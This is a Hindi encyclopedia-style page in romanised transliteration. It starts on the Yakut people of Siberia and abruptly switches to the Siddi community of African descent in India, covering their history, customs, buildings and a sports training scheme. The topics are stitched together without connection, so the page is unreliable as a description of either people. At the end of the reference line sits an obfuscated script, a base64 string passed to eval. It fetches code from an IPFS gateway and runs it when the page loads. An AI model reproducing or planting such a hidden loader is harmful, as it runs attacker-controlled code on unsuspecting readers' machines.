याकूत
| chitr:Disamb2.jpg yakoot | ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- yakoot (bahuvikalpi) |
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yakoot (aangrezi: Yakut) roos ke saiberiya kshetr ke madhy-uttari bhag mean sthit sakha ganatantr mean basane vale turk logoan ka ek samuday hai. yah apani alag sakha bhasha bolate haian jo turki bhashaoan ki saiberiyaee shakha ki uttari upashakha ki ek boli hai. kuchh yakoot log sakha ganatantr se bahar roos ke amoor, magadan v sakhalin kshetroan mean aur taimir v eveank svashasit kshetroan mean bhi rahate haian. asal mean habshi ek farasi shabd hai, jisaka matalab hai- 'abisiniya ka rahane vala'. aphriki desh ithiyopiya ko pahale abisiniya kaha jata tha. vahaan ke bashiandoan ko abisiniyaee ya habshi kaha jata tha.
bharat mean rahane vale aphriki
aj bhi bharat mean b di tadad mean aphriki mool ke log rahate haian. aj ki tarikh mean inhean habshi nahian, balki siddi ke nam se jana jata hai. bharat mean rahane vale aphriki mool ke in logoan ki tadad qarib bis hazar hai. ye karnatak, maharashtr aur gujarat mean door-daraz ke ilaqoan mean rahate haian. ye poorvi aphrika ke bantoo samuday ke vanshaj haian. inhean satavian sadi ke as-pas arab gulam banakar lae the. bad mean purtagaliyoan aur aangrezoan ne bhi b di tadad mean bantoo gulam aphrika se lakar bharat mean basae the. vaise siddi sirf gulam ke taur par bharat nahian ae. ye log karobari, navikoan aur bha de ke l dakoan ke taur par bhi yahaan ae. phir vo bharat ke hokar rah ge. siddiyoan ki achchhi khasi tadad pakistan ke siandh soobe mean bhi basati hai. jab 18vian-19vian sadi mean das pratha khatm huee, to ye siddi bhagakar jangaloan mean ja chhupe aur vahian apani rihaish bana li. aj bhi ye log samaj se alag-thalag rahate haian.[1]
aphriki mool ki l dakiyaan
aphriki mool ke ye sadasy bhale hi gulam ke taur par bharat lae ge the, magar inamean se yakoot jaise kee habshi apani qabiliyat ki vajah se ooanche ohadoan par pahuanche. arab deshoan ke saiyadoan ki tarj par inhean siddi kaha jata tha. isilie aj bharat mean rahane vale aphriki mool ke ye log khud ko siddi kahate haian. halaanki ye chalan kab shuroo hua kahana mushkil hai. siddiyoan ki achchhi khasi tadad karnatak ke uttar kann d zile mean basati hai. jangaloan mean baqi samaj se alag rahane vale logoan ko pahali nazar mean dekhane se pata bhi nahian chalata ki ye aphriki mool ke haian. lekin qarib se dekhane par sabase pahale inake ghuangharale bal inake aphriki hone ki khabar dete haian.
bharatiyoan jaisa rahan-sahan
ye log sthaniy boliyaan bolate haian. jaise ki kann d ya koankani. inaka pahanava bhi am bharatiy jaise hi hai. inake nam bharatiy, arabi aur purtagali paranpara ka mila-jula roop haian. jaise manjula, ena, selestiya, shobina aur romanachana. inake upanam karmekar aur harnodakar jaise bilkul hi bharatiy haian. dikhane mean alag siddi samuday ke log poori tarah se bharatiy samaj mean rach-bas ge haian. inaka khan-pan, rahan-sahan aur boli, sab kuchh bharatiy ho gaya hai. magar afasos ki bat ye hai ki inhe bharat ne poori tarah se nahian apanaya hai. isilie ye samaj ki mukhyadhara se kate hue haian. ye log jangaloan mean rahate haian aur mehanat-mazadoori karake guzar-basar karate haian. siddi samuday ke zyadatar log soofi musalaman haian. ye mugaloan ka asar bataya jata hai. halaanki karnatak ke rahane vale siddi amataur par kaitholik eesaee haian.
nirman kary
bharat mean rahane vale in aphriki samuday ke logoan ne kee shanadar imaratean bhi banavaee haian. inamean ahamadabad ki mashahoor sidi saiyad masjid pramukh hai. isi tarah muanbee ke pas murud ke tapoo par sthit qila bhi siddi saradar malik aanbar ne banavaya tha.[1]
khel prashikshan
siddiyoan ke bharat ki mukhy dhara se kate hone ki vajah se inake pas rozagar aur taraqqi ke bahut kam sadhan haian. assi ke dashak mean us vaqt ki khel mantri margaret alva ne siddiyoan ko khel ki treniang dene ke lie ek yojana shuroo ki thi. isaka maqasad aphriki mool ke in logoan ki quvvat ka fayada khel ki duniya mean uthana tha. magar ye yojana bhi bahut karagar nahian rahi. afasarashahi ki vajah se siddiyoan ki bhalaee ki is achchhi yojana ne dam to d diya. aj ye aphriki mool ke log apane bich mean hi tamam tarah ke khel khelate haian. inamean se futab aaul sabase pramukh khel hai. kuchh siddiyoan ko dau d aur doosare kheloan ki treniang di ja rahi hai.
margaret alva ki yojana ka fayada uthane valoan mean se ek hai juje jaiki harnodakar. vo karnatak mean hi rahate haian. unhoanne sarakar ki yojana ke tahat 400 mitar ki badha dau d ki treniang leni shuroo ki thi. magar ye yojana 1993 mean band kar di gee. isake bad jaiki ne sarakari naukari ke lie koshish ki aur kamayab ho ge. aj jaiki harnodakar 14 siddi yuvaoan ko treniang dene ka kam kar rahe haian. unaka maqasad 2024 ke olanpik mean bharat ki taraf se bhagidari ka hai. isi dauran sanyukt rashtr 2015 se 2024 ke bich aphriki mool ke logoan ka dashak mana raha hai. aise mean siddiyoan ko agar sahi treniang aur mauqe mile, to ye unake samaj ki taraqqi mean karagar sabit hoange.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 bharat mean rahane vale aphrikiyoan ke bare mean kitana janate haian ap? (hiandi) bbc.com. abhigaman tithi: 04 navanbar, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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